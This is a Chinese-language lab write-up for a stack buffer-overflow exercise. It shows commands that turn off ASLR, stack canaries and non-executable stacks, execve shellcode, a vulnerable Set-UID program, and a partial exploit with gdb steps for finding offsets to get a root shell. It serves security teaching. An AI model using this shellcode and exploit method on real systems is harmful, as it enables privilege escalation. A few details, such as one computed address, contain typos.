Buffer-Overflow Vulnerability Lab
實驗環境:Ubuntu 16.04
緩沖區溢出漏洞
本實驗的學習目標是讓學生通過將他們從課堂上學到的有關漏洞的知識付諸實踐,獲得有關緩沖區溢出漏洞的第一手經驗。緩沖區溢出被定義為程序試圖在預分配的固定長度緩沖區的邊界之外寫入數據的條件。惡意用戶可以利用此漏洞來更改程序的流控制,甚至執行任意代碼。此漏洞的出現是由於數據存儲(例如緩沖區)和控件存儲(例如返回地址)的混合:數據部分的溢出會影響程序的控制流,因為溢出會改變返回地址。
向學生提供了一個存在緩沖區溢出問題的程序,他們需要利用此漏洞來獲取root特權。
實驗預覽
該實驗室的學習目標是讓學生通過將他們從課堂上學到的有關漏洞的知識付諸實踐,獲得有關緩沖區溢出漏洞的第一手經驗。緩沖區溢出被定義為程序試圖在預分配的固定長度緩沖區的邊界之外寫入數據的條件。惡意用戶可以使用此漏洞來更改程序的流控制,從而導致執行惡意代碼。此漏洞的出現是由於數據存儲(例如緩沖區)和控件存儲(例如返回地址)的混合:數據部分的溢出會影響程序的控制流,因為溢出會改變返回地址。
在本實驗中,將為學生提供一個具有緩沖區溢出漏洞的程序;他們的任務是開發一種利用該漏洞並最終獲得root特權的方案。除攻擊外,還將指導學生逐步介紹幾種已在操作系統中實施的保護方案,以應對緩沖區溢出攻擊。學生需要評估該計划是否有效,並解釋原因。本實驗涵蓋以下主題:
- Buffer overflow vulnerability and attack 緩沖區溢出漏洞和攻擊
- Stack layout in a function invocation 函數調用中的堆棧布局
- Shellcode shellcode是一段用於利用軟件漏洞而執行的代碼,shellcode為16進制的機器碼,因為經常讓攻擊者獲得shell而得名。shellcode常常使用機器語言編寫。 可在暫存器eip溢出后,塞入一段可讓CPU執行的shellcode機器碼,讓電腦可以執行攻擊者的任意指令。
- Address randomization 地址隨機化
- Non-executable stack 不可執行的堆棧
- StackGuard 堆棧保護
實驗任務
關閉對策 Turning Off Countermeasures
Ubuntu和其他Linux發行版已經實現了幾種安全機制,以使緩沖區溢出攻擊變得困難。
為了簡化攻擊,我先禁用它們。然后再我們將一一啟用它們,並查看我們的攻擊是否仍然可以成功。
地址空間隨機化: Ubuntu和其他幾個基於Linux的系統使用地址空間隨機化來隨機化堆和棧的起始地址。這使得猜測確切的地址變得困難。猜測地址是緩沖區溢出攻擊的關鍵步驟之一。在本實驗中,我們使用以下命令禁用此功能:
$ sudo sysctl -w kernel.randomize_va_space=0
StackGuard保護方案: GCC編譯器實現了一種稱為StackGuard的安全機制,以防止緩沖區溢出。在這種保護的情況下,緩沖區溢出攻擊將不起作用。我們可以在編譯期間使用-fno-stack-protector
選項禁用此保護。例如,要在禁用StackGuard的情況下編譯程序example.c
,我們可以執行以下操作:
$ gcc -fno-stack-protector example.c
不可執行的堆棧: Ubuntu曾經允許可執行堆棧,但是現在已經發生了變化:程序(和共享庫)的二進制映像必須聲明它們是否需要可執行堆棧,即它們需要在程序標頭中標記一個字段。內核或動態鏈接器使用此標記來決定是使此正在運行的程序的堆棧是可執行的還是不可執行的。標記是由最新版本的gcc自動完成的,默認情況下,堆棧設置為不可執行。要更改此設置,請在編譯程序時使用以下選項:
對於可執行堆棧:
$ gcc -z execstack -o test test.c
對於不可執行堆棧
$ gcc -z noexecstack -o test test.c
**配置 /bin/sh
**: 在Ubuntu 12.04和Ubuntu 16.04 VM中,/bin/sh
符號鏈接均指向/bin/dash
shell。但是,這兩個VM中的dash
程序有重要區別。Ubuntu 16.04中的dash
shell 有一個對策,可防止自身在Set-UID
進程中執行。基本上,如果dash
檢測到它是在Set-UID
進程中執行的,它將立即將有效用戶ID更改為該進程的真實用戶ID,從而實質上刪除了特權。Ubuntu 12.04中的dash
程序沒有此行為。
由於我們的受害者程序是Set-UID程序,並且我們的攻擊依賴於運行/bin/sh
,因此/bin/dash
中的對策使我們的攻擊更加困難。因此,我們將/bin/sh
鏈接到另一個沒有這種對策的Shell
程序(在以后的任務中,我們將展示出一點點的努力,就可以輕易克服/bin/dash
中的對策)。我們已經在Ubuntu 16.04 VM中安裝了名為zsh
的Shell
程序。我們使用以下命令將/bin/sh
鏈接到zsh
$ sudo rm /bin/sh
$ sudo ln -s /bin/zsh /bin/sh
任務一 運行shell代碼
在開始攻擊之前,讓我們熟悉一下shellcode。Shellcode是啟動Shell的代碼,必須將其加載到內存中,以便我們可以迫使易受攻擊的程序跳轉至該內存。考慮以下程序:
#include<stdio.h>
int main()
{
char* name[2];
name[0]= "/bin/sh";
name[1]=NULL;
execve(name[0],name,NULL);
}
我們使用的shellcode只是上述程序的匯編版本。以下程序顯示了如何通過執行存儲在緩沖區中的shellcode來啟動shell。請編譯並運行以下代碼,並查看是否調用了shell。您可以從網站下載程序。
/* call_shellcode.c */
/*A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
使用以下gcc
命令編譯以上代碼。運行程序並描述您的觀察結果。請不要忘記使用execstack
選項,該選項允許從堆棧執行代碼。沒有此選項,程序將失敗。
$ gcc -z execstack -o call_shellcode call_shellcode.c
上面的shellcode調用execve()系統調用來執行/bin/sh。此shellcode中的一些地方值得一提。
首先,第三條指令將“//sh”而不是“/sh”壓入堆棧。這是因為我們在這里需要一個32位數字,而“/sh”只有24位。幸運的是,“//”等效於“/”,因此我們可以避免使用雙斜杠符號。
其次,在調用execve()系統調用之前,我們需要將name[0](字符串的地址),name(數組的地址)和NULL分別存儲到%ebx,%ecx和%edx寄存器中。第5行將name [0]存儲到%ebx;第8行將名稱存儲到%ecx;第9行將%edx設置為零。還有其他方法可以將%edx設置為零(例如xorl%edx,%edx); 這里使用的那個(cdq)只是一條較短的指令:它將EAX寄存器中的值的符號(第31位)(此時為0)復制到EDX寄存器的每個位位置,基本上將%edx設置為 0.
第三,當我們將%al設置為11並執行“ int $ 0x80”時,系統調用execve()被調用。
易受攻擊的程序
將為您提供以下程序,該程序在Line➀中具有緩沖區溢出漏洞。您的工作是利用此漏洞並獲得root特權。
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[24];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
編譯上述易受攻擊的程序。不要忘記包括-fno-stack-protector
和“-z execstack
”選項,以關閉StackGuard和不可執行的堆棧保護。編譯之后,我們需要使該程序成為root擁有的Set-UID程序。我們可以通過首先將程序的所有權更改為root
(第Line行),然后將權限更改為4755
以啟用Set-UID位(第Line)來實現此目的。
應當注意,更改所有權必須在開啟Set-UID位之前完成,因為所有權更改將導致Set-UID位被關閉。
$ gcc -g -o stack -z execstack -fno-stack-protector stack.c //必須要有-g才可以被檢測到
$ sudo chown root stack ①
$ sudo chmod 4755 stack ②
上面的程序有一個緩沖區溢出漏洞。它首先從名為badfile
的文件中讀取輸入,然后將該輸入傳遞到函數bof()
中的另一個緩沖區。原始輸入的最大長度可以為517個字節
,但是bof()
中的緩沖區只有24個字節
長。由於strcpy()
不檢查邊界,因此會發生緩沖區溢出。由於此程序是Set-root-UID
程序,因此,如果普通用戶可以利用此緩沖區溢出漏洞,則普通用戶可能能夠獲得root shell。應當注意,程序從名為badfile
的文件獲取其輸入。該文件受用戶控制。現在,我們的目標是為badfile
創建內容,以便當易受攻擊的程序將內容復制到其緩沖區中時,可以生成根shell
。
任務二 利用漏洞
我們為您提供了部分完成的利用代碼,稱為“exploit.c”
。該代碼的目的是為badfile構造內容。在此代碼中,shellcode
提供給您。您需要開vi e發其余部分。
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer+100,shellcode); //將shellcode拷貝至buffer
strcpy(buffer+0x24,"\x??\x??\x??\x??"); //在buffer特定偏移處起始的四個字節覆蓋sellcode地址
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
完成上述程序后,編譯並運行它。這將生成badfile
的內容。然后運行易受攻擊的程序stack.c
。如果您的漏洞利用程序正確實施,則應該能夠獲得root shell
:
那么我們這里就存在一個問題(這里是重點),應該怎么得到這里偏移的位置呢?一下內容參考博客
於是我們想到可以使用gdb來調試一下stack.c
看一下內部運行的結構,首先這里需要強調一下必須在gcc編譯時加上-g
選項才可以使用gdb調試。
在終端輸入如下代碼:
$ gdb stack
然后就進入了調試的頁面,然后就可以看一下shellcode的返回地址。
$ b main
$ r //查看寄存器
$ p /x &str
漏洞程序讀取badfile 文件到緩沖區str,且str的地址為0xbfffeb17,計算上shellcode偏移量100(0x64),則shellcode地址為0xbffeb7b
然后接下來輸入如下命令進行反匯編,可以看到ebp的首地址偏移量為0x20,則由於是32bit的字節,所以返回地址偏移為0x24。
重要提示:請首先編譯您的易受攻擊的程序。請注意,生成badfile
的程序exploit.c
可以在啟用默認StackGuard保護的情況下進行編譯。這是因為我們不會在該程序中溢出緩沖區。我們將溢出stack.c
中的緩沖區,該緩沖區是在禁用StackGuard保護的情況下編譯的。
$ gcc -o exploit exploit.c
$./exploit // create the badfile
$./stack // launch the attack by running the vulnerable program
# <---- Bingo! You’ve got a root shell!